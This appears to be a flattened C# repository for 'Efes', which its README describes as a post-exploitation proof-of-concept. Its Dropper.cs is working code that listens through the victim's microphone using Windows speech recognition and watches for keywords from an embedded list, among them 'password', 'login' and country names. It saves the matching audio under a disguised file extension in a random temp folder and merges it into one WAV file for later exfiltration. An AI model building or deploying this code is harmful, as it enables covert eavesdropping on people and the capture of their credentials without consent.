├── .gitattributes ├── .gitignore ├── Efes.sln ├── Efes ├── App.config ├── Dropper.cs ├── Efes.csproj ├── Program.cs ├── Properties │ └── AssemblyInfo.cs └── keywords.dat └── README.md /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.userosscache 8 | *.sln.docstates 9 | 10 | # User-specific files (MonoDevelop/Xamarin Studio) 11 | *.userprefs 12 | 13 | # Build results 14 | [Dd]ebug/ 15 | [Dd]ebugPublic/ 16 | [Rr]elease/ 17 | [Rr]eleases/ 18 | x64/ 19 | x86/ 20 | bld/ 21 | [Bb]in/ 22 | [Oo]bj/ 23 | [Ll]og/ 24 | 25 | # Visual Studio 2015 cache/options directory 26 | .vs/ 27 | # Uncomment if you have tasks that create the project's static files in wwwroot 28 | #wwwroot/ 29 | 30 | # MSTest test Results 31 | [Tt]est[Rr]esult*/ 32 | [Bb]uild[Ll]og.* 33 | 34 | # NUNIT 35 | *.VisualState.xml 36 | TestResult.xml 37 | 38 | # Build Results of an ATL Project 39 | [Dd]ebugPS/ 40 | [Rr]eleasePS/ 41 | dlldata.c 42 | 43 | # DNX 44 | project.lock.json 45 | project.fragment.lock.json 46 | artifacts/ 47 | 48 | *_i.c 49 | *_p.c 50 | *_i.h 51 | *.ilk 52 | *.meta 53 | *.obj 54 | *.pch 55 | *.pdb 56 | *.pgc 57 | *.pgd 58 | *.rsp 59 | *.sbr 60 | *.tlb 61 | *.tli 62 | *.tlh 63 | *.tmp 64 | *.tmp_proj 65 | *.log 66 | *.vspscc 67 | *.vssscc 68 | .builds 69 | *.pidb 70 | *.svclog 71 | *.scc 72 | 73 | # Chutzpah Test files 74 | _Chutzpah* 75 | 76 | # Visual C++ cache files 77 | ipch/ 78 | *.aps 79 | *.ncb 80 | *.opendb 81 | *.opensdf 82 | *.sdf 83 | *.cachefile 84 | *.VC.db 85 | *.VC.VC.opendb 86 | 87 | # Visual Studio profiler 88 | *.psess 89 | *.vsp 90 | *.vspx 91 | *.sap 92 | 93 | # TFS 2012 Local Workspace 94 | $tf/ 95 | 96 | # Guidance Automation Toolkit 97 | *.gpState 98 | 99 | # ReSharper is a .NET coding add-in 100 | _ReSharper*/ 101 | *.[Rr]e[Ss]harper 102 | *.DotSettings.user 103 | 104 | # JustCode is a .NET coding add-in 105 | .JustCode 106 | 107 | # TeamCity is a build add-in 108 | _TeamCity* 109 | 110 | # DotCover is a Code Coverage Tool 111 | *.dotCover 112 | 113 | # NCrunch 114 | _NCrunch_* 115 | .*crunch*.local.xml 116 | nCrunchTemp_* 117 | 118 | # MightyMoose 119 | *.mm.* 120 | AutoTest.Net/ 121 | 122 | # Web workbench (sass) 123 | .sass-cache/ 124 | 125 | # Installshield output folder 126 | [Ee]xpress/ 127 | 128 | # DocProject is a documentation generator add-in 129 | DocProject/buildhelp/ 130 | DocProject/Help/*.HxT 131 | DocProject/Help/*.HxC 132 | DocProject/Help/*.hhc 133 | DocProject/Help/*.hhk 134 | DocProject/Help/*.hhp 135 | DocProject/Help/Html2 136 | DocProject/Help/html 137 | 138 | # Click-Once directory 139 | publish/ 140 | 141 | # Publish Web Output 142 | *.[Pp]ublish.xml 143 | *.azurePubxml 144 | # TODO: Comment the next line if you want to checkin your web deploy settings 145 | # but database connection strings (with potential passwords) will be unencrypted 146 | #*.pubxml 147 | *.publishproj 148 | 149 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 150 | # checkin your Azure Web App publish settings, but sensitive information contained 151 | # in these scripts will be unencrypted 152 | PublishScripts/ 153 | 154 | # NuGet Packages 155 | *.nupkg 156 | # The packages folder can be ignored because of Package Restore 157 | **/packages/* 158 | # except build/, which is used as an MSBuild target. 159 | !**/packages/build/ 160 | # Uncomment if necessary however generally it will be regenerated when needed 161 | #!**/packages/repositories.config 162 | # NuGet v3's project.json files produces more ignoreable files 163 | *.nuget.props 164 | *.nuget.targets 165 | 166 | # Microsoft Azure Build Output 167 | csx/ 168 | *.build.csdef 169 | 170 | # Microsoft Azure Emulator 171 | ecf/ 172 | rcf/ 173 | 174 | # Windows Store app package directories and files 175 | AppPackages/ 176 | BundleArtifacts/ 177 | Package.StoreAssociation.xml 178 | _pkginfo.txt 179 | 180 | # Visual Studio cache files 181 | # files ending in .cache can be ignored 182 | *.[Cc]ache 183 | # but keep track of directories ending in .cache 184 | !*.[Cc]ache/ 185 | 186 | # Others 187 | ClientBin/ 188 | ~$* 189 | *~ 190 | *.dbmdl 191 | *.dbproj.schemaview 192 | *.jfm 193 | *.pfx 194 | *.publishsettings 195 | node_modules/ 196 | orleans.codegen.cs 197 | 198 | # Since there are multiple workflows, uncomment next line to ignore bower_components 199 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 200 | #bower_components/ 201 | 202 | # RIA/Silverlight projects 203 | Generated_Code/ 204 | 205 | # Backup & report files from converting an old project file 206 | # to a newer Visual Studio version. Backup files are not needed, 207 | # because we have git ;-) 208 | _UpgradeReport_Files/ 209 | Backup*/ 210 | UpgradeLog*.XML 211 | UpgradeLog*.htm 212 | 213 | # SQL Server files 214 | *.mdf 215 | *.ldf 216 | 217 | # Business Intelligence projects 218 | *.rdl.data 219 | *.bim.layout 220 | *.bim_*.settings 221 | 222 | # Microsoft Fakes 223 | FakesAssemblies/ 224 | 225 | # GhostDoc plugin setting file 226 | *.GhostDoc.xml 227 | 228 | # Node.js Tools for Visual Studio 229 | .ntvs_analysis.dat 230 | 231 | # Visual Studio 6 build log 232 | *.plg 233 | 234 | # Visual Studio 6 workspace options file 235 | *.opt 236 | 237 | # Visual Studio LightSwitch build output 238 | **/*.HTMLClient/GeneratedArtifacts 239 | **/*.DesktopClient/GeneratedArtifacts 240 | **/*.DesktopClient/ModelManifest.xml 241 | **/*.Server/GeneratedArtifacts 242 | **/*.Server/ModelManifest.xml 243 | _Pvt_Extensions 244 | 245 | # Paket dependency manager 246 | .paket/paket.exe 247 | paket-files/ 248 | 249 | # FAKE - F# Make 250 | .fake/ 251 | 252 | # JetBrains Rider 253 | .idea/ 254 | *.sln.iml 255 | 256 | # CodeRush 257 | .cr/ 258 | 259 | # Python Tools for Visual Studio (PTVS) 260 | __pycache__/ 261 | *.pyc -------------------------------------------------------------------------------- /Efes.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.26430.6 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Efes", "Efes\Efes.csproj", "{69199E2C-9637-40C1-985B-AF995EFB659D}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {69199E2C-9637-40C1-985B-AF995EFB659D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {69199E2C-9637-40C1-985B-AF995EFB659D}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {69199E2C-9637-40C1-985B-AF995EFB659D}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {69199E2C-9637-40C1-985B-AF995EFB659D}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /Efes/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Efes/Dropper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Speech.Recognition; 6 | using System.Globalization; 7 | using System.Reflection; 8 | 9 | namespace Efes 10 | { 11 | class Dropper 12 | { 13 | public string StorageDirectory { get; set; } 14 | 15 | private SpeechRecognitionEngine recognizer; 16 | 17 | public Dropper(string fname, CultureInfo culture, string storageDirectory = null) 18 | { 19 | //read keywords from dat file 20 | var kw = ReadKeywords(); 21 | 22 | //use a random temp directory if not specified 23 | if (storageDirectory == null || !Directory.Exists(storageDirectory)) 24 | storageDirectory = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString()); 25 | StorageDirectory = storageDirectory; 26 | Directory.CreateDirectory(StorageDirectory); 27 | 28 | #if DEBUG 29 | Console.WriteLine(StorageDirectory); 30 | #endif 31 | 32 | var choices = new Choices(kw.ToArray()); 33 | var gb = new GrammarBuilder(); 34 | gb.AppendWildcard(); 35 | gb.Append(choices); 36 | gb.AppendWildcard(); 37 | var g = new Grammar(gb); 38 | 39 | recognizer = new SpeechRecognitionEngine(culture); 40 | recognizer.LoadGrammar(g); 41 | recognizer.SpeechRecognized += Recognizer_SpeechRecognized; 42 | recognizer.SetInputToDefaultAudioDevice(); 43 | } 44 | 45 | /// 46 | /// Enable speech recognition and logging 47 | /// 48 | public void StartListening() 49 | { 50 | recognizer.RecognizeAsync(RecognizeMode.Multiple); 51 | } 52 | 53 | /// 54 | /// Disable speech recognition and logging 55 | /// 56 | public void StopListening() 57 | { 58 | recognizer.RecognizeAsyncStop(); 59 | } 60 | 61 | /// 62 | /// Collects files into one wav file 63 | /// 64 | /// The path to the single wav file 65 | public string Collectfiles() 66 | { 67 | var files = CollapseWaves(new DirectoryInfo(StorageDirectory)); 68 | return files.Where(x => x.Extension.ToLower() == ".wav").First().FullName; 69 | } 70 | 71 | private void Recognizer_SpeechRecognized(object sender, SpeechRecognizedEventArgs e) 72 | { 73 | #if DEBUG 74 | Console.WriteLine(e.Result.Text); 75 | #endif 76 | using (Stream file = File.Create(Path.Combine(StorageDirectory, Path.GetRandomFileName()) + ".efd")) 77 | { 78 | e.Result.Audio.WriteToWaveStream(file); 79 | file.Close(); 80 | } 81 | } 82 | 83 | /// 84 | /// Reads the keywords to listen for out of an embedded dat file 85 | /// 86 | /// 87 | private IEnumerable ReadKeywords() 88 | { 89 | var assembly = Assembly.GetExecutingAssembly(); 90 | var resourceName = "Efes.keywords.dat"; 91 | var keywords = new List(); 92 | using (Stream stream = assembly.GetManifestResourceStream(resourceName)) 93 | { 94 | using (StreamReader reader = new StreamReader(stream)) 95 | { 96 | string line; 97 | while ((line = reader.ReadLine()) != null) 98 | { 99 | if (!line.StartsWith("#") && !String.IsNullOrWhiteSpace(line)) //ignore commented lines 100 | keywords.Add(line); 101 | } 102 | } 103 | } 104 | return keywords; 105 | } 106 | 107 | /// 108 | /// Recursively merge all files in a directory with a WAV header 109 | /// 110 | /// Merging directory 111 | /// 112 | private IEnumerable CollapseWaves(DirectoryInfo dir) 113 | { 114 | const short CHANNELS = 1; 115 | const int SAMPLE_RATE = 16000; 116 | const short BITS_PER_SAMPLE = 16; 117 | const int HEADER_SIZE = 44; //size of a wav header 118 | //these are all case-sensitive / length-sensitive 119 | const string RIFF = "RIFF"; 120 | const string WAVEfmt = "WAVEfmt "; 121 | const string DATA = "data"; 122 | 123 | var files = dir.GetFiles().Where(f => f.Extension.ToLower() == ".wav" || f.Extension.ToLower() == ".efd"); 124 | 125 | if (files.Count() <= 1) 126 | return files; 127 | else 128 | { 129 | //get first file in the directory 130 | var first = new FileStream(files.ElementAt(0).FullName, FileMode.Open, FileAccess.Read); 131 | //get second file 132 | var second = new FileStream(files.ElementAt(1).FullName, FileMode.Open, FileAccess.Read); 133 | //each file has a header, so add the total bytes and then subtract the header size for each 134 | int length = (int)(first.Length + second.Length - (2 * HEADER_SIZE)); 135 | 136 | var merged = new FileStream(Path.Combine(dir.FullName, Path.GetRandomFileName()) + ".wav", FileMode.Create, FileAccess.Write); 137 | 138 | var bw = new BinaryWriter(merged); 139 | bw.Write(RIFF.ToCharArray()); 140 | bw.Write(length + HEADER_SIZE); 141 | 142 | bw.Write(WAVEfmt.ToCharArray()); 143 | //chunk information and audio format info 144 | bw.Write((int)16); 145 | bw.Write((short)1); 146 | bw.Write(CHANNELS); 147 | bw.Write(SAMPLE_RATE); 148 | bw.Write((int)(SAMPLE_RATE * ((BITS_PER_SAMPLE * CHANNELS) / 8))); 149 | bw.Write((short)((BITS_PER_SAMPLE * CHANNELS) / 8)); 150 | bw.Write(BITS_PER_SAMPLE); 151 | bw.Write(DATA.ToCharArray()); 152 | bw.Write(length); 153 | 154 | //read the files with an offset of the headersize 155 | byte[] arrFirst = new byte[first.Length]; 156 | first.Read(arrFirst, HEADER_SIZE, arrFirst.Length - HEADER_SIZE); 157 | byte[] arrSecond = new byte[second.Length]; 158 | second.Read(arrSecond, HEADER_SIZE, arrSecond.Length - HEADER_SIZE); 159 | 160 | first.Close(); 161 | second.Close(); 162 | 163 | bw.Write(arrFirst); 164 | bw.Write(arrSecond); 165 | 166 | bw.Close(); 167 | merged.Close(); 168 | //delete merged files 169 | File.Delete(files.ElementAt(0).FullName); 170 | File.Delete(files.ElementAt(1).FullName); 171 | return CollapseWaves(dir); 172 | } 173 | } 174 | } 175 | } 176 | -------------------------------------------------------------------------------- /Efes/Efes.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {69199E2C-9637-40C1-985B-AF995EFB659D} 8 | Exe 9 | Efes 10 | Efes 11 | v4.5.2 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /Efes/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace Efes 8 | { 9 | class Program 10 | { 11 | static void Main(string[] args) 12 | { 13 | var dropper = new Dropper("keywords.dat", new System.Globalization.CultureInfo("en-US")); 14 | dropper.StartListening(); 15 | Console.ReadKey(); 16 | Console.WriteLine(dropper.Collectfiles()); 17 | Console.ReadKey(); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /Efes/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Efes")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Efes")] 13 | [assembly: AssemblyCopyright("Copyright © 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("69199e2c-9637-40c1-985b-af995efb659d")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Efes/keywords.dat: -------------------------------------------------------------------------------- 1 | #Countries 2 | Afghanistan 3 | Bahrain 4 | Czechia 5 | Djibouti 6 | Egypt 7 | France 8 | Gabon 9 | Hong Kong 10 | Jordan 11 | Kazakhstan 12 | Liberia 13 | Mozambique 14 | North Korea 15 | Pakistan 16 | Qatar 17 | Russia 18 | Syria 19 | Tajikistan 20 | United Arab Emirates 21 | Venezuela 22 | Zambia 23 | #random 24 | password 25 | login -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Efes 2 | A simple proof-of-concept tool that uses the built-in speech recognition to listen for certain keywords that are spoken, and then saves that audio to the file. This post-exploitation tool could be used to passively listen for high-value data, and save it off to a file to be exfiltrated at a later date. Since it only records small snippets, the file size should be small, and ideally, only the interesting snippets would be recorded. 3 | --------------------------------------------------------------------------------